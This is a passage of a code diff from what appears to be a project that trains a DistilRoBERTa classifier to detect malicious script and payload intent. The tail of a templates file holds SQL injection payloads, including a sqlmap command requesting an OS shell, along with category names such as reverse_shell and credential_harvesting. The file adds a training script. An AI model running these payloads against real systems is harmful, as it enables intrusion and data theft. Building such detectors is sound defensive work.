| 634 |
+
("http", "T1190", "/view?id={n}%27%20AND%20extractvalue(1,concat(0x7e,database()))--+"),
|
| 635 |
+
("bash", "T1190", "sqlmap -r request.txt --level 5 --risk 3 --os-shell"),
|
| 636 |
+
("bash", "T1190", "curl \"http://{ip}/item.php?id={n}%27%20UNION%20SELECT%201,2,3--%20-\""),
|
| 637 |
+
]
|
| 638 |
+
|
| 639 |
+
TEMPLATES = {
|
| 640 |
+
"benign": BENIGN,
|
| 641 |
+
"reconnaissance": RECON,
|
| 642 |
+
"credential_harvesting": CREDS,
|
| 643 |
+
"reverse_shell": REVSHELL,
|
| 644 |
+
"persistence": PERSIST,
|
| 645 |
+
"download_execute": DOWNEXEC,
|
| 646 |
+
"sql_injection": SQLI,
|
| 647 |
+
}
|
src/train.py
ADDED
|
@@ -0,0 +1,80 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""Fine-tune DistilRoBERTa for script / payload intent classification.
|
| 2 |
+
|
| 3 |
+
Usage: python src/train.py --data data --out outputs/model --epochs 3
|
| 4 |
+
"""
|
| 5 |
+
import argparse
|
| 6 |
+
import json
|
| 7 |
+
import os
|
| 8 |
+
import sys
|
| 9 |
+
|
| 10 |
+
import numpy as np
|
| 11 |
+
from datasets import load_dataset
|
| 12 |
+
from sklearn.metrics import accuracy_score, precision_recall_fscore_support
|
| 13 |
+
from transformers import (AutoModelForSequenceClassification, AutoTokenizer,
|
| 14 |
+
DataCollatorWithPadding, Trainer, TrainingArguments)
|
| 15 |
+
|
| 16 |
+
sys.path.insert(0, os.path.dirname(__file__))
|
| 17 |
+
from templates import LABELS # noqa: E402
|
| 18 |
+
|
| 19 |
+
|
| 20 |
+
def compute_metrics(p):
|
| 21 |
+
preds = np.argmax(p.predictions, axis=-1)
|
| 22 |
+
_, _, f1_macro, _ = precision_recall_fscore_support(p.label_ids, preds, average="macro", zero_division=0)
|
| 23 |
+
return {"accuracy": accuracy_score(p.label_ids, preds), "f1_macro": f1_macro}
|
| 24 |
+
|
| 25 |
+
|
| 26 |
+
def main():
|
| 27 |
+
ap = argparse.ArgumentParser()
|
| 28 |
+
ap.add_argument("--data", default="data")
|
| 29 |
+
ap.add_argument("--base", default="distilroberta-base")
|
| 30 |
+
ap.add_argument("--out", default="outputs/model")
|
| 31 |
+
ap.add_argument("--epochs", type=float, default=3)
|
| 32 |
+
ap.add_argument("--lr", type=float, default=5e-5)
|
| 33 |
+
ap.add_argument("--bs", type=int, default=32)
|
| 34 |
+
ap.add_argument("--max-len", type=int, default=128)
|
| 35 |
+
ap.add_argument("--seed", type=int, default=42)
|
| 36 |
+
args = ap.parse_args()
|
| 37 |
+
|
| 38 |
+
ds = load_dataset("json", data_files={s: f"{args.data}/{s}.jsonl" for s in ("train", "validation", "test")})
|
| 39 |
+
tok = AutoTokenizer.from_pretrained(args.base)
|
| 40 |
+
|
| 41 |
+
def enc(b):
|
| 42 |
+
out = tok(b["text"], truncation=True, max_length=args.max_len)
|
| 43 |
+
out["labels"] = b["label_id"]
|
| 44 |
+
return out
|
| 45 |
+
|
| 46 |
+
ds_tok = ds.map(enc, batched=True, remove_columns=ds["train"].column_names)
|
| 47 |
+
|
| 48 |
+
id2label = dict(enumerate(LABELS))
|
| 49 |
+
model = AutoModelForSequenceClassification.from_pretrained(
|
| 50 |
+
args.base, num_labels=len(LABELS), id2label=id2label, label2id={v: k for k, v in id2label.items()})
|
| 51 |
+
|
| 52 |
+
targs = TrainingArguments(
|
| 53 |
+
output_dir=args.out + "_ckpt",
|
| 54 |
+
num_train_epochs=args.epochs,
|
| 55 |
+
learning_rate=args.lr,
|
| 56 |
+
per_device_train_batch_size=args.bs,
|
| 57 |
+
per_device_eval_batch_size=64,
|
| 58 |
+
warmup_steps=int(0.06 * args.epochs * len(ds_tok["train"]) / args.bs),
|
| 59 |
+
weight_decay=0.01,
|
| 60 |
+
eval_strategy="epoch",
|
| 61 |
+
save_strategy="epoch",
|
| 62 |
+
save_total_limit=1,
|
| 63 |
+
load_best_model_at_end=True,
|
| 64 |
+
metric_for_best_model="f1_macro",
|
| 65 |
+
logging_steps=25,
|
| 66 |
+
report_to=[],
|
| 67 |
+
seed=args.seed,
|
| 68 |
+
dataloader_num_workers=0,
|
| 69 |
+
)
|
| 70 |
+
trainer = Trainer(model=model, args=targs, train_dataset=ds_tok["train"], eval_dataset=ds_tok["validation"],
|
| 71 |
+
data_collator=DataCollatorWithPadding(tok), compute_metrics=compute_metrics)
|
| 72 |
+
trainer.train()
|
| 73 |
+
trainer.save_model(args.out)
|
| 74 |
+
tok.save_pretrained(args.out)
|
| 75 |
+
with open(os.path.join(args.out, "training_log.json"), "w") as f:
|
| 76 |
+
json.dump(trainer.state.log_history, f, indent=1)
|
| 77 |
+
|
| 78 |
+
|
| 79 |
+
if __name__ == "__main__":
|
| 80 |
+
main()
|